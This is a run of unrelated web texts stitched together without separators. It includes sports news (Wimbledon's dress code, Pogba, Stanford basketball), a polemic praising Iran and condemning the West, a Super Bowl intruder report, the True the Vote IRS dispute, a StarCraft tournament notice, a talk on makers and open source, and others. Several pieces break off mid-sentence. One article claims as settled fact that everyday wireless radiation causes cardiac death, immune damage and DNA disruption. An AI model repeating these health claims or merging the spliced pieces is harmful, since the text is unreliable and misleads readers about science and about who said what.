Derrick, however, stopped short of detailing any planned campaign strategies, stating that following acceptance of the organisation’s revised constitution in February, his team will set the wheels in motion.
“In February (there is an) extraordinary congress just before the FIFA one, which would ratify and approve the constitution of CONCACAF, probably. Once that happens then everything is in place, because they have made some changes with regards to the management of CONCACAF, so it would be called CONCACAF Council, and there are lots of different things that go along with that,” he said.
More in today’s Daily Observer.Tennis players spotted wearing non-white undergarments at Wimbledon have been sent back to the locker rooms to change their clothes, leaving some women ‘forced to play braless’ to comply with the strict dress code, according to Pat Cash.
Speaking to BBC Radio 5 Live, the 1987 Wimbledon champion described the tightening of the dress code at the All England Club as “ridiculous” and told of women being sent back to the changing rooms to “change their bras and tops because they had slight colour on them”.
He went on to say that some players without a suitable white sports bra ended up playing braless to comply with the rules.
He also described how one male player was called into the referees’ office because his dark blue underwear “showed through when he got sweaty”, breaking the all white dress code.
A Wimbledon spokesperson said that all players were written to before the tournament and told of the strict rules, but refused to comment on whether any players had been found to breach the code.
Wimbledon’s clothing regulations, designed to avoid the sponsorship-covered sportswear worn by players in other tournaments, state that caps, headbands, bandanas, wristbands and socks must be entirely white except for a single trim of colour “no wider than one centimetre”, and common standards of decency are required at all times.Manchester United midfielder Paul Pogba has said that facing Liverpool is a bigger game for his club than coming up against Manchester City.
United face Liverpool at Old Trafford on Sunday, knowing that they can cut the gap behind the Merseyside club to two points by winning.
Jurgen Klopp's side are second in the Premier League table while Jose Mourinho's United are down in sixth but catching up after a six-game winning run in the league.
"The history of Liverpool vs. Manchester United -- it's a big derby," Pogba told BBC Sport. "More than Man City, I think, because of the way you feel that the atmosphere is more.
"I want to win. I want three points. It's good to win three points against Stoke City, any team in the league, but it's even better, you have more taste, when you win three points against Liverpool because it's the derby, you know."
The Frenchman, 23, was played as a No. 10 against Liverpool at Anfield when the sides drew 0-0 but he has found impressive form recently after being regularly used wide left in a midfield three.
Arindam is ESPN FC's Manchester United correspondent. Follow him on Twitter @ARejSport.Three nights after upsetting top-ranked UConn, the Stanford women were brought to earth by a deep and aggressive Texas team Thursday night.
The No. 10 Longhorns had their way in the paint on the offensive end and outlasted the No. 6 Cardinal in overtime 87-81, snapping Stanford’s 28-game home winning streak.
After trailing almost the whole way through regulation time, Stanford (2-1) took a 74-73 lead on a three-pointer by Bonnie Samuelson with 1:43 left. But a driving jumper by Texas’ Empress Davenport just before the buzzer sent the game into overtime at 75-75.
In the extra session, freshman guard Ariel Atkins scored the Longhorns’ first five points, and Stanford couldn’t get the big basket or the big stop it needed.
“It didn’t look like we had the pep in our step that we needed,’’ Stanford coach Tara VanDerveer said. “Credit Texas. They were extremely aggressive. I thought they had more energy than we did. They didn’t back down. They did a great job of going inside.’’
Despite missing 6-foot-7 preseason All-American Imani McGee-Stafford because of a leg injury, the Longhorns (2-0) held a 44-37 advantage on the boards. They also outscored the Cardinal 34-24 in the paint.
Nneka Enemkpali, who led the Longhorns in scoring and rebounding last season, scored 16 of her team-high 18 points in the second half. Listed at 6-foot-1, she plays considerably bigger. Atkins scored 16 points for the Longhorns, while Kelsey Lang had 14 and Davenport 13.
Enemkpali called the victory “a reestablishment of this program.’’
As usual, Stanford relied on its guards – both Texas natives – for scoring. Lili Thompson scored 28 points, and Amber Orrange added 15 before fouling out in overtime.
Stanford made just 7 of 27 three-point attempts and sabotaged itself with a 28-for-38 performance at the foul line.
“We definitely have things to work on regardless of our win over UConn,’’ Thompson said. “We’re still a young team. It’s still early in the season. … We want to be playing our best in March.’’
It was the Cardinal’s first loss at Maples Pavilion since Cal beat them 67-55 on Jan. 13, 2013.
Thanks to Monday’s 88-86 overtime win over UConn, Stanford was already ranked No. 1 in one poll, the USA Today coaches poll, which issued its rankings Tuesday morning. The next Associated Press poll won’t be issued until Monday morning.
VanDerveer praised her guards but said the other players are going to have to shoulder more of the offensive load. They’ll also need to take some of the rebounding load off freshman Kaylee Johnson, who had a game-high 13 boards. She was exhausted from playing 38 minutes.
It was a very physical game in which 51 fouls were called, 30 on the Longhorns.
“We have a saying: Every disappointment is a blessing,’’ Orrange said. “We don’t like losing, but this experience will be a really good learning tool for us.’’The Queensland businessmen building their own privately-funded public airport have a simple message for Sydneysiders debating the need for a second airport – ‘‘just get on and do the thing’’.
John Wagner and his three brothers are building a $100 million airport west of Brisbane at Toowoomba. It will be opened in October sporting a 2870-metre runway and terminal, just 18 months after construction began.
Joe and Dennis Wagner at their airport construction site at Toowoomba. Their brother John says there is no 'rocket science' in getting an airport built. Credit:Glenn Hunt
‘‘You see governments do report after report [on the need for a second airport in Sydney], and spend millions and millions of dollars on consultants. But there is no rocket science in it,’’ John Wagner said on Monday.
The Wagners are one of Queensland’s richest families, having built their wealth from a construction company which bears their name. Its primary work is on oil and gas projects in Australia and parts of Asia, but it has been involved in airport redevelopments such as that at Canberra Airport.by
Why should I care whether Iran has nukes? It most likely doesn’t, but even if it does… it never attacked anyone, never overthrew any government, and never performed experiments on human beings. It had not committed a single genocide, and never dreamed about conquering the world.
So why should I even bother to think much about Iran’s nuclear program, big or small, “peaceful” or defensive?
If Iran is capable of defending itself – then excellent; I am only happy! At least it will not be wiped out from the face of the Earth, as happened to its unfortunate neighbors Iraq and Afghanistan or to a bit more distant but not more fortunate countries like Libya.
Do I want this great, ancient Iranian culture to become defenseless and to eventually disappear, to be destroyed, or to get replaced by aggressive Western consumerism, arrogance and pathological lack of compassion? Or more concretely: Do I want Iran to turn into yet another Western colony? I don’t! I want it to survive and to thrive. As I want great Chinese and great Arab cultures to survive and flourish. As I want all cultures on Earth to survive and flourish.
But it seems that, as the Empire is on its final bellicose and ideological crusade, unless a truly independent nation begins to roar, unless it shows both its teeth and its missiles, it has almost no chance to survive.
Iran is roaring and it is also logically explaining where it stands. It has both guts and big heart.
***
Iran is ordered to prove its “innocence”, all of the time. There are entire “international” (sponsored and handled by the West) organizations and commissions challenging its course, sticking their muzzles into Iran’s internal affairs.
Iran is told to comply, “or else”. Its tormentors insist on “transparency”, while themselves staying in total murkiness. They are above the law; in fact they are the law. In the world they created, they themselves don’t have to prove absolutely anything, while their victims are routinely challenged, scrutinized, cornered, bullied and humiliated.
After suffering, after bleeding incessantly, it appears that Iran had finally enough. It is no longer willing to play this neo-colonialist game. It is now going public with its grievances.
***
At the opening of the “2nd International Congress on 17.000 Iranian Martyrs”, (held in Teheran on August 31 – September 1st, 2015) I was allowed to speak right after the President of Iran, Mr. Hassan Rouhani.
President Rouhani gave a powerful speech about the terrorism in the region: “Maybe for many people it is something new, but not for us… Today there are powers in Europe and the United States – they are silent about some terrorist groups, while supportive of others. Can we really win against the terrorism like this?”
“You are being targeted because you are taking care of your people”, I said after him, in my discourse, as I was designated a keynote speaker of the Conference. “Iran suffers similar attacks as Latin America. The Western imperialism tries to destroy virtually every revolutionary, socialist country. But the world is changing and you are not alone. As Latin America is not alone.”
17.000 Iranian victims; 17.000 human lives lost. And almost no one in the West seems to know! How convenient. How cowardly. How servile!
The West supports the Saudis, Qataris and other Wahhabi extremists. It had been arming ISIL (Dash). It already destroyed almost every socially oriented, moderate and secular nation in the Muslim world, from Yemen to Syria, from Egypt to Indonesia. Little surprise that independent-minded and proud Iran is now at the very top of the Empire’s hit list.
After all, Iran is standing by Syria and it is supportive of Hezbollah in Lebanon, and Hezbollah is the only true social force in that otherwise collapsing country; the only social force that incorporates several religious and ethnic groups. And it is locked in a dogfight with ISIL, and it fights Israel whenever Israel decides to invade Lebanon. That is why Hezbollah is also on that hit list (or call it “terrorist list”) of the West. The fact that Teheran is backing Hezbollah is yet another reason why Iran is ostracized by Washington, London and Paris.
Teheran is simply spoiling some of the most outrageous colonialist plans of both North America and Europe.
***
It is time for the Western public to wake up and pay attention to the fact that thousands of common Iranian people are dying, have been murdered, for absolutely no reasons… both common people, as well as prominent figures, including some of the country’s top scientists.
I saw mothers and wives holding photos of their murdered loved ones, in terrible grief. I saw men without legs. I saw archive photos depicting aftermaths of countless horrific terrorist explosions, executed by The Mujahedeen-e Khalq Organization (MKO), an anti-Iran terrorist group, and by other pro-Western groups.
To me, all this was not new, but it is shocking nevertheless. I saw how the Empire has been murdering thousands, even millions of those who have been reluctant to succumb to its dictate – in the Middle East, in Africa, Asia, and Latin America.
But here, in Iran, the West has been behaving with almost absolute ludicrousness. While torturing the country, it was shamelessly insisting that the entire world should actually fear it and despise it. Its propaganda against Iran reached crescendo.
And while murdering Iranian people directly or through vicious sanctions, the West has been demanding from Teheran ever newer proves of its “guiltlessness”.
The entire situation would be grotesque, truly laughable, if those thousands of innocent people would not be dying.
When I spoke in Teheran, my voice was shaking. I addressed the Iranian government and the academia: “We are all brothers”, I said, old images of Chavez and Ahmadinejad embracing, appearing in my mind. Then I recalled the US-sponsored coups in Venezuela, and few moments later, those thousands of innocent, slaughtered Iranian civilians.
I spoke about resistance to imperialism, about new powerful media outlets in Latin America, Russia, and China as well as in Iran itself.
I told them about my 1.000-page book “Exposing Lies of the Empire”, depicting virtually all corners of the globe that have already been ravished by the West. I spoke about those fascist, fundamentalist doctrines behind such attacks. I told them what I saw, how devastated I have been, but also how determined to resist! And I concluded:
“Why is Iran one of the main targets of the terrorists who are supported by the West? It is obviously because Iran is doing many of the right things, for its own people and for the world!”
***
Iran, one of the most criticized and scrutinized nations, is in reality one of the most peaceful and long-suffering countries on earth.
The West has been tormenting the Iranian people sadistically, continuously and relentlessly.
Since the ancient Greek Empire, Iran (Persia) was continuously invaded and partitioned, although never fully colonized.
In 1953 the US and Britain overthrew the democratically elected government of Mohammad Mosaddegh, a socialist leader dedicated to social changes. During his government, the Iranian people were enjoying subsidized housing, good education and medical care. He also launched a comprehensive land reform. In order to improve life of Iranian people, he nationalized Iran’s oil industry. The Brits and the North Americans, of course, considered such behavior as unacceptable. Mosaddegh was ousted, and a tyrant monarch, Shah, put on the throne. Cheap oil began to flow to the West, while thousands of Iranian people were savagely tortured and killed. The Empire later committed the same crimes in Indonesia (1965) and in Chile (1973), to name just two places.
After the Shah was forced to leave, the West armed and encouraged Iraq to invade its neighbor, Iran. In 1980, a terrible war erupted. As a result, around one million people died.
When Iran decided to develop its peaceful nuclear program, brutal sanctions were imposed, destroying lives of millions, including women and children.
Then the extremist terrorist groups were “put to work” by both the West and Israel. Their goal was to spread fear and devastation, and to murder Iran’s prominent scientists.
Attempts to destabilize Iran are constant but had proven to be futile.
Shaken, injured but determined, Iran is facing vicious attacks calmly and with dignity. The more self-respect it radiates, the more vicious propaganda and loud barking are coming from the West, and the more chilling are the threats.
The position of Washington, Paris and London is obvious (and it has been for centuries): non-Western countries have no right to defend themselves. They only exist in order to supply North America and Europe with cheap raw materials and labor. They cannot decide their fate.
And there is no compromise on the table. Either a country fully submits to the Western dictate, or it is destroyed.
But Iran refused to accept such “arrangement” of the world. Too mighty to be out rightly attacked, it rose against Western global dictatorship. Of course Russia did, too. And so did China. Most of Latin American countries did as well. And now several African and Asian countries are also determined to join those who are refusing to kneel.
The West trembles: its dogmas are being challenged! And it does what it has been doing for many terrible centuries: it is trying to murder, to deceive and to trick. It is desperately fighting for being able to maintain its iron grip on the World.
***
At the Conference, ideas were exchanged, and concepts erected. Several speakers described how the West has been supporting extreme, ultra-conservative Islamic teaching -Wahabbism – and used it against the socialist Islam, against countries like Turkey, against several Arab states, against the Soviet Union, China and now against Iran. Ahmadinejad called Wahhabism “a cancer that made the entire Middle East sick.” I also argued that it is also making sick entire Indonesia.
One of the speakers, Professor Azizi, declared from the stage of Shahid Beheshti University Conference Center:
“Americans intend to establish their own religion, their own version of Islam… They created DAESH (ISIL) in order to support such version, such “new religion”… They do it this way, covertly, because they would not dare to fight Islam openly, fearing a great backlash.”
I heard terms like “social terrorism”.
Finian Cunningham, renowned columnist from Northern Ireland, compared the operations of British death squads in his country to other acts of terror that the Empire has been spreading all over the world, including places like Yemen and Iran: “Illegal war of aggression against sovereign nations.”
I was told by several Iranian participants, repeatedly, that one hidden “secret” which the Western media has been keeping away from the public, is that both Ahmadinejad and Chavez were actually building two respective socialist countries, two states with different history and cultures, but with very similar, socialist principles.
Western propaganda is depicting Iran as some brutal religious dogmatic state, not as an enormous 80-million inhabitants country that is re-inventing itself on the values of the socialist Islam.
High above the city, at the viewing platform of the magnificent Milad Tower, I listened to a passionate discourse of my new friend, Soraya Sebahpour-Ulrich, a great Iranian thinker, and a stepdaughter of a former cabinet minister who also happened to be the Shah’s ghostwriter:
“The world sees Iran not as it is, but as it is projected by Western media. It pains me. I see the kindness and beauty, and then I am told that it is being ugly. And this destructed image is stabbing me in the heart. I just want to say: ‘I am Iran and Iran is me… I want people to see me as I am, and I want them to see real Iran.”
Soraya also believes that Iran is a socialist country, and she wants it to stay this way: “This is Iran that I love and appreciate much more than that Iran, where I had a very privileged life.”
***
I report that I saw great socialist city – Teheran – standing tall, proud and determined.
Teheran with its old bazaars and mosques, palaces and mountains, but above all with thousands of projects designed to provide welfare for its people.
In Teheran, like in Caracas, I witnessed a breathtaking struggle for a better world. Sanctions or not, Teheran is impressive, with its modern public transportation system, huge public parks, wide sidewalks, vast cultural institutions, free medical facilities and schools.
I did not see slums. I did not see people begging. I did not witness frustration or rage. Instead, I felt kindness at each and every corner, and I also felt great confidence of the nation with tremendous culture and 5 thousand years of recorded history.
At one point, I was driven to the studios of Press TV and asked to comment on the diplomatic conflict between the USA and Russia. There was absolute trust. Few minutes later, IRINN TV interviewed me on the West–Iran relationship. Radio stations, including IRIB, were lining up, microphones ready. Some interviews were live. No one was asking those ‘BBC screening question’: “What are you going to say, Mr. Vltchek?”
It was like interacting with other progressive channels – like TeleSUR or RT.
Iran was not scared of me, as I was not scared of Iran.
What I said in Teheran, I have been saying again and again in Caracas, Quito, Beijing and Pretoria: “If we are united, we will never be defeated! Venezuela may appear far away on the world map, but in reality it is standing right here, shoulder to shoulder with you.”
The powerful specter of a united, internationalist, and anti-imperialist block horrifies the West. That is why Iran is now under attack. That is why fascist gangsters are hitting Venezuela. That is why the imperialists are encircling Russia and China. That is why Western propaganda is demonizing all proud and noble countries around the world.
17.000 Iranian victims of terrorism sponsored by the West. More than one million victims since the West overthrew the progressive government in 1953. What a tremendous toll! But true freedom is priceless.
I report that Iran is standing! And it will not succumb to vicious and senseless attacks. It will never kneel, because it knows – surrendering would lead directly to slavery.
***
One is of course tempted to ask: how much is too much? How many people have to die, before the patience of the oppressed of the world runs out?
I interacted with many Iranian people. Their peaceful nuclear program does not scare me. And it does not scare people of Western and Central Asia. Iranian culture is thousands of years old and it is deep and tolerant. It gained the trust of the world; of people who are not blinded by toxic propaganda.
But I have to admit that the Western Empire increasingly disgusts me, as it terrifies billions of people all over the world. It already lost all breaks, all sense of decency. It already ruined and finished billons of lives, by spreading and forcing its fundamentalist dogmas, its greed and incomparable brutality. I don’t want more lives to be destroyed. I don’t want more countries, more nations, to be shattered.
That is why I feel that as long as Iran and countries like Iran are standing, so are we!Himitsu, a 24-seat restaurant in Petworth, offers a $24 Japanese fried chicken served with biscuits. (Deb Lindsey for The Washington Post)
Let’s start with the fried chicken.
There's the spicy $26 Taiwanese rendition at Maketto and the $24 Japanese riff at Himitsu. You can go for the $18 version at Partisan, or the $19 one at Convivial. But tack on an appetizer and maybe a cocktail or dessert, and that one bird is steering you to a dinner check of $50 — easy.
Perhaps no other dish better exemplifies how dining in Washington has evolved. From its days as a big-box steakhouse town to a global dining destination worthy of Michelin stars, the city has never been more celebrated for its food scene. Now it seems like every cool, new spot is charging upward of $20 for an entree, especially in hot dining hubs like Petworth and Shaw.
Spending more than $100 at dinner once felt like an amount reserved for a special date-night or birthday. Today, a couple looking for a casual meal on a Tuesday night around 14th Street will rarely get away without paying a three-digit bill.
[This $26 sandwich — literally ham, |
, said, “Window Horses hits all the things that are important to me: it’s pro-girl, pro-tolerance, pro-diversity, and PRO-ART! My nieces are mixed race and it’s very important to me that they see themselves represented in this society.”Super Bowl MVP Malcolm Smith was answering questions at his press conference when a man barged his way to the stage, grabbed the microphone and said:
“Investigate 9/11, 9/11 was perpetrated by people within our own government.”
According to Bart Hubbuch of the New York Post, Matthew Mills was arrested from criminal trespass.
Per the NJ State Police, the 9/11 "truther" is Matthew Mills, 30, from Brooklyn (sigh). His media affiliation was listed as "unknown." — Bart Hubbuch (@HubbuchNYP) February 3, 2014
Smith, clearly stunned by the intruder and his bizarre interruption, returned to the matter at hand.
"Somebody check his press pass," Smith joked.
But it’s not funny. In fact, it’s scary that with all of the security surrounding the Seattle Seahawks and Denver Broncos for this Super Bowl event, someone could make his way into an official press conference.
Creepy.
UPDATE: NJ.com spoke with Matthew Mills and he explained how he got through multiple layers of security at Super Bowl XLVIII.
"I just said I was running late for work and I had to get in there. It was that simple," Mills said. "I didn't think that I'd get that far. I just kept getting closer and closer. Once I got past the final gate and into the stadium, I was dumbfounded."
That isn't exactly reassuring.Catherine Engelbrecht has been telling people for years she’s been targeted and harassed by the federal government. Not many people listened.
But her case is receiving new attention after her congressman, Republican Texas Rep. Kevin Brady, recounted her ordeal during a high-profile House committee hearing on the IRS practice of singling out conservative groups. He claimed she was audited and visited by several different federal agencies -- including the FBI -- in the years after she formed her Tea Party group.
“She received four FBI inquires,” Brady said. “And her business received unsolicited audits, unscheduled audits.”
Engelbrecht is the founder of True the Vote, a Houston-based group that says its goal is to root out voter fraud. She's claimed for years that the Internal Revenue Service was picking on her, asking her over-the-top personal questions, demanding binders full of paperwork and going after her family’s oil field machinery business.
After her case was spotlighted at Friday's hearing, Engelbrecht explained the targeting in an interview with Fox News.
More On This...
“At some point those questions cross the line,” she said.
Her troubles started, she claims, after she founded a Tea Party group called the King Street Patriots and worked as poll watcher in the local 2009 elections. She said she found major discrepancies in voting procedures and uncovered cases of political harassment and wrongdoing. She brought up the claims to local officials but they were never proved.
In July 2010, she applied for nonprofit status for two of her organizations: True the Vote and King Street Patriots.
Five months after she filed for 501(c)(4) status for KSP, Engelbrecht says the FBI Domestic Terrorism Unit called her about one of the people who had attended a KSP group meeting. Five months after that, the FBI called her again to ask “how we were doing?” A month later on June 2011, she received another FBI general inquiry, which was followed by two more in November and December.
In February 2012, the IRS asked her questions about her nonprofit application.
“The first contact we had from the IRS, in the first general round of questions, they wanted to see every Facebook posting we had made, every tweet we tweeted,” Engelbrecht told Fox News’ "Huckabee."
Engelbrecht said IRS agents wanted to know every place she had ever spoken publicly, to whom she had spoken, what she said and her intent.
Engelbrecht said her fight for 501 (c)(3) tax exempt status for True the Vote was even more frustrating. She underwent five rounds of questioning from the IRS and still hasn’t received approval. What’s worse, she claims, is that the government also started going after her personal tax returns and those of her family’s business.
Engelbrecht says the Bureau of Alcohol, Tobacco, Firearms and Explosives also conducted an unscheduled audit of Engelbrecht Manufacturing in February 2012. That was followed by another unscheduled audit in July 2012 by the Occupational Safety and Health Administration, and another in November 2012 by the Texas Commission on Environmental Quality.
At times, Engelbrecht said she thought about not coming forward with her story.
“I really thought that the best way I could protect my family would be to keep my head down,” she said.
Both Republicans and Democrats have lashed out against the IRS over its systematic scrutiny of conservative groups during the past two election cycles.
Engelbrecht said the questions she had the biggest problems with were the ones that focused on her family.
Calls to the FBI and IRS for comment were not immediately returned.Donald Trump drew laughter at the annual white-tie Al Smith Dinner Thursday night for joking about his promise to jail his Democratic opponent if elected president.
“I have no doubt that Hillary Clinton is going to laugh quite a bit tonight, sometimes even at appropriate moments,” Trump started out during his roast of Hillary Clinton.
The Republican presidential nominee joked that Clinton had been very kind to him for most of the evening despite how heated their final presidential debate was the night before.
“She’s very nice to me,” he told the crowd. “In fact, she bumped into my before we came up on the dais and said, ‘Pardon me.’”
Trump has promised to appoint a special prosecutor to investigate his opponent if he’s elected president on Nov. 8. During the second debate earlier this month he said the former secretary of state would be behind bars if he were in charge of enforcing the law.Imagine a world where any surface could potentially become a touchscreen for your phone: your hands, clothes, a wall or table. That's the vision behind a new Kinect-like technology called OmniTouch, a wearable system that projects any multi-touch interface onto everyday surfaces, reports New Scientist.
Perhaps the most convenient aspect of the technology is how it can be operated on the go, requiring no special calibration for each new surface it is used on. The system adapts easily to surfaces of most textures in 3D space, so it works even when the surface is not flat, such as with your hand, or perhaps a tree trunk.
The technology, which is primarily composed of a shoulder-mounted depth camera and a Pico-projector, was developed by researchers at Microsoft and is a vast improvement over previous prototypes that could only work on skin. A user study of the technology showed that dragging performance and touch accuracy approached the sensitivity of conventional touchscreens.
The device also allows for user flexibility far beyond the capability of your phone or tablet. For instance, users can choose the position and size of the projected interface, meaning that they can adjust the size of the screen to better suite their needs and eyesight. OmniTouch is also itself capable of intelligently choosing the best display setting, so the user doesn't have to readjust with each new surface.
The only inconvenient aspect of the prototype is the bulkiness of the camera and projector, which are mounted on a user's shoulder like a large parrot. The good news, though, is that future prototypes are expected to be much smaller, closer to the size of a matchbox.
You can view an in depth demo video of the technology here:
Kinect-like technology turns any surface into a touchscreen
Technology projects a touchscreen onto your hand, clothes, a wall, or any surface, so you can operate your phone without removing it from your pocket.Honor. Profile Joined December 2010 Germany 32 Posts Last Edited: 2016-06-08 10:25:12 #1
Last year, the german eSports community Bonjwa organised and hosted the Archon Cup on Rocket Beans TV. This year it is hosting its own Starcraft 2 tournament for professional players: The Bonjwa Cup.
You can sign up via Mail until June 20. In order to participate in the qualifiers, you have to be able to attend the Bonjwa Cup Finals at gamescom in Cologne on Friday August 19 and Saturday August 20.
Quick Facts:
Four qualifiers
Three players in each qualifier
The winner of each qualifier earns 500 Euro and a spot in the Bonjwa Cup Finals at gamescom
Qualifier format:
Match 1: A vs B
Match 2: Loser match 1 vs C
Match 3: Winner match 1 vs winner match 2
All qualifier matches are played in BO3 mode.
If match 3 is a rematch of match 1 and the overall map score is tied after two BO3 matches, there will be a decider map in match 3.
Tournament dates:
1st online qualifier: Jul 4 - 19:00 CEST
2nd online qualifier: Jul 18 - 19:00 CEST
3rd online qualifier: Jul 28 - 19:00 CEST
4th online qualifier: Aug 11 - 19:00 CEST
Offline finals day 1: Aug 19 - 14:00 CEST
Offline finals day 2: Aug 20 - 14:00 CEST
Prize pool information:
Total prize pool: € 5500
€ 500 for winning a qualifier
Additional € 1000 for the runner-up of the finals
Additional € 2500 for the winner of the finals
All prize money will be paid via bank transfer after gamescom
In order to receive the € 500 for winning a qualifier, you need to show up at the finals
Tournament sponsors:
Continentale (German insurance company)
Faden (German fashion label for gaming wear)
ESET (Security software)
Application Data needed:
Full real name
Player ID
Team
Qualifiers that can be attended
Skype-ID
All applications must be sent via e-mail to cup@bonjwa.de until June 20. Basing on the current WCS Ranking and other tournament results we will select our choice of players.
Bonjwa links
Homepage: http://www.bonjwa.de/
Official News: http://bit.ly/1Y0MoCY
Archon Cup 2015 hosted by Bonjwa on Rocket Beans TV: http://bit.ly/1XGrJE6
Last year, the german eSports community Bonjwa organised and hosted the Archon Cup on Rocket Beans TV. This year it is hosting its own Starcraft 2 tournament for professional players: The Bonjwa Cup.You can sign up via Mail until June 20. In order to participate in the qualifiers, you have to be able to attend the Bonjwa Cup Finals at gamescom in Cologne on Friday August 19 and Saturday August 20.By Kevin Samson
Our modern world is an electromagnetic soup filled with pulses, radio frequencies, computer screens, wireless signals, and a host of wearable gadgets that are emitting damaging radiation.
Peer-reviewed scientific studies have drawn conclusions that should concern us all, but particularly for young children and pregnant women. Government agencies are even doing battle amongst themselves over outdated scientific information that still impacts current regulations.
Yet another credible voice is now sounding the alarm about the pervasive dangers of Electromagnetic Fields (EMFs) – Professor Martin Pall, PhD – professor of Biochemistry and Basic Medical Science at Washington State University, Pullman. His lecture can be viewed below, as well as a summary of his findings amid a flood of other scientific research.
It is worth noting that Pall’s concerns have been echoed by others throughout the field of biochemistry and health science.
A prominent neuroscientist recently went on record in a lecture to the medical community which gave strong credence to the concerns of everyday citizens.
Dr. Martin Pall is also a world-renown biochemist; he previously went as far as to say that wireless radiation is a biohazard and should be abolished in certain settings.
British ER physician and founder of Physicians’ Health Initiative for Radiation and the Environment (PHIRE), Dr Erica Mallery-Blythe, analyzed the exponential growth of damaging sources of EMFs – damaging to all life, as life could be defined as anything that possesses an electromagnetic field. She concludes her lecture (viewed here) with some practical solutions that can be taken to mitigate the effects of bio-active frequencies which can cause disruption of our DNA fractal antenna and promote a host of stress responses.
Professor Pall states unequivocally in his lecture in Oslo, Norway:
“I think this is going to be one of the major issues in the next few years. Most people are not aware of this, and the people who are mostly know the old data – and there’s a lot of new [information] on this that’s extremely, extremely important.”
Pall shows us how, with an increasing preponderance of so-called ‘smart’ meters, ‘smart’ phones and other microwave-emitting technologies and infrastructure, the health of the public is in danger; that our young are the most at risk and that urgent action to protect people is now required.
Prof. Pall’s extensive research over recent decades into this issue shows that:
Microwaves damage humans at levels far below present radiation limits, through mechanisms at the cellular level
These biological mechanisms can – completely or partially – be behind growing “unexplained illnesses” like sudden cardiac death, ME, weakened immune system, fibromyalgia, post-traumatic stress, and increased DNA breakage, etc.
The effects can, in principle, affect all multicellular animals, and is proven, for example, in mussels (molluscs)
You need neither New Age, tendentious science or conspiracy theories to justify this.
Now is the time to become informed and keep your friends and family up to date on new research that shows the threats some of our new technologies pose to the more vulnerable among us. How many times do we need to hear the assurances of the scientific establishment that they have covered all bases in advising governments to create health guidelines that later turn out to be woefully inadequate?
Additional source:
Stop Smart Meters! UKTriby follows simple verbal commands the same way the Echo does, as well as streams music and connects smart devices. Their similar purposes likely make Triby an obvious example of what a non-Amazon device can do with AVS.
But where the Echo is a static command hub, Triby is a battery-powered portable device users can tote around. While it's slightly pricier at $200, Triby's speakers and small magnet-backed frame make it a more versatile music player. Also, it has something else the Echo doesn't: a display screen.
The screen is flanked by several buttons and a large speaker grille, making the Triby look more like a familiar old radio than the Echo's sleek slate chic. This might be where Amazon's Alexa fund and Alexa Skills Kit shines: powering devices for different demographics and making sure Alexa gets in as many homes as possible.Makers and open source
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At SCALE 13x in Los Angeles, Ruth Suehle spoke about the "maker" movement and its relationship to the open-source community—but she made it clear that, despite the affinity that the communities feel for each other, there are some stark differences between the two. The most troubling difference is that, particularly in recent years, the maker movement has drifted toward an "open by accident" model, without a strong commitment to freely sharing information. But open-source advocates can bring the maker movement back around, she said, by showing how they have addressed tricky problems like license compatibility and the challenge of making money while "giving everything away."
Suehle, who called herself a maker at heart, started off with a historical look at "making" in the physical world, from the advent of stone-age tools up through modern electronics. Sharing information is a through-line that permeates this history: early humans had to share information from person to person, she said. Imagine what the outcome would have been if one cave man refused to discuss discovering fire, she suggested.
But in much more recent times, people decided to stop sharing their knowledge. The ancient Greek city-state of Sybaris granted a patent-like protection to cooks, safeguarding their recipes against imitators for a year. A bit later, Roman blacksmiths started putting literal "trade marks" on their wares. In the 6th Century, the Irish missionary Saint Columba sparked one of the first conflicts over copyright when an abbot objected to Columba's practice of hand-copying books. The modern framework for patents originated with glassmakers in 1600s Venice—and rapidly spread to the rest of the world.
We now live in a world with contradictory messages about sharing, Suehle said. One of the first lessons children are taught is that sharing is important but, ironically, the adults who do the teaching no longer believe in the principle. In effect, they say "you should share your toys... just as long as they're not my toys." This viewpoint, along with the rise of disposable consumer goods culture, led to the decline of fixing and repairing one's own property, she said.
The maker movement (at least, in the modern sense) started off as a revival of this older interest in fixing and modifying things. Suehle pointed out that the maker movement coincided with the prominence of "steampunk"—which just happens to be a throwback to an earlier era when technology was about hands-on work and tangible machinery.
Open by accident
Given its roots in the historical practice of sharing information, she said, it might seem like the maker movement should be enthusiastically committed to an "open by default" ethic. But that is not the way the maker movement is trending. Similarly, the open-hardware movement, while more formal about its principles than the decentralized maker movement, also seems to be drifting away from open-by-design ideas, with projects keeping certain parts of their work secret. Instead, she said, the movement seems to feature openness by accident, with people sharing their projects online solely because it is the "Internet age" and the Internet is the easiest way to publicize something.
By way of example, Suehle described her trip to the Open Hardware Summit in 2012. She went expecting to see lots of strong connections to the open-source movement, she said—but came away with deep concerns. Her write-up of the event for Opensource.com was headlined "Open Hardware Summit open to hybrid models," an assessment that she told the SCALE crowd was putting things optimistically.
In actuality, she found it deeply disconcerting how many high-profile speakers at the summit had downplayed or openly rejected the ideals of transparency and openness. She quoted keynote speaker Chris Anderson, who started off his talk by saying: "Everything I've learned as I built my own business is because people shared what they knew." But he followed that up a few minutes later with a different sentiment entirely, saying "I don't think we should be dogmatic. We need to consider other possibilities and approaches to open-based innovation."
In a more extreme example, she pointed out that Makerbot founder Bre Pettis had said in 2011 that "In the future, people will remember businesses that refused to share with their customers and wonder how they could be so backwards." But less than a year later, Makerbot took its previously open-hardware products closed. Pettis made that announcement at the summit:
For the Replicator 2, we will not share the way the physical machine is designed or our GUI because we don’t think carbon-copy cloning is acceptable and carbon-copy clones undermine our ability to pay people to do development.
Later, during his keynote at the event, Pettis referenced the community's reaction:
People said, 'You did open source hardware; this is totally allowed under the license. What did you expect?'" It's true. They're right. This is the result of something we did, but that doesn't mean we have to like it.
The same story was found at Maker Faires, Suehle said. In early years, the events were dominated by booths from Sparkfun and Radio Shack where visitors could learn to solder. Today, the exhibitors are predominantly there selling products—and, in many cases, products with (at best) tenuous connections to the maker movement, like Purina's latest line of cat feeders.
How open source can help
Suehle also noticed that essentially no one at these events was running Linux, which is telling. The maker community seems to be struggling today with many of the same problems that the open-source community solved ten years ago. Those problems include how to cope with project cloning, how to address legal issues, how to work with the user community, and how to make money.
The cloning issue, she said, is what Makerbot "freaked out" about, causing the company to take its Replicator2 printer proprietary. But there are plenty of success stories among those companies who release only open-source products—Suehle's employer, Red Hat, being one, she said. And there are examples of successful open hardware closely tied to the open-source software world. The Raspberry Pi, she said, has been cloned and modified and duplicated many times; "if there's a fruit, somebody has made a 'Pi' board for it," she said. Yet that has not diluted the popularity or success of the Raspberry Pi Foundation's products.
